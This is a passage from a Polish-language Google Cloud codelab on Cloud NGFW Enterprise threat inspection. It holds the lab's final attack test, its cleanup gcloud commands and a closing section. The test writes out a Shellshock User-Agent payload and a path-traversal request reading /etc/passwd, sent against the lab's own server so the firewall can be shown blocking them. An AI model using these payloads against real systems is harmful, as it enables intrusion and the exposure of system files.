Wróć do klienckiej maszyny wirtualnej i ponownie wyślij ataki o wysokim poziomie ważności na zewnętrzny adres IP serwera:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Oczekiwane dane wyjściowe:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Aby zweryfikować logi, otwórz kartę Zagrożenia w konsoli Cloud (może być konieczne kilkakrotne odświeżenie). Ataki powinny zostać zidentyfikowane i zarejestrowane ponownie, ale źródłowy adres IP jest teraz wewnętrzny, ponieważ najpierw uruchomiona jest reguła ruchu wychodzącego:

36f8edf264dcddcd.png

Zamknij sesję SSH i przejdź do następnej sekcji z instrukcjami czyszczenia.

8. Procedura czyszczenia

Czyszczenie komponentów Cloud NGFW w Google Cloud

Wyświetl listę istniejących powiązań z Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Usuń powiązanie z Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Wyświetl listę istniejących punktów końcowych Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Usuń punkt końcowy Cloud NGFW Enterprise, co może potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Sprawdź, czy Cloud NGFW Enterprise został usunięty, uruchamiając to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Usuń grupę profili zabezpieczeń i profil zapobiegania zagrożeniom:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Czyszczenie konfiguracji podstawowej

Jeśli chcesz usunąć zasoby podstawowe, przejdź do następnego kroku.

W razie potrzeby zdefiniuj zmienne środowiskowe. W Cloud Shell usuń komponenty sieciowego systemu równoważenia obciążenia:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Usuń instancje:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Opcjonalnie wykonaj te czynności, jeśli role tagAdmin i tagUsers uległy zmianie:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Usuń klucz i wartości tagu:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Usuń zasadę sieciową Cloud Firewall i powiązanie z nią:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuń router Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuń zarezerwowane adresy IP:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Gratulacje!

Gratulujemy ukończenia szkolenia z programowania w Cloud NGFW Enterprise na potrzeby inspekcji wschód-zachód i północ/południe.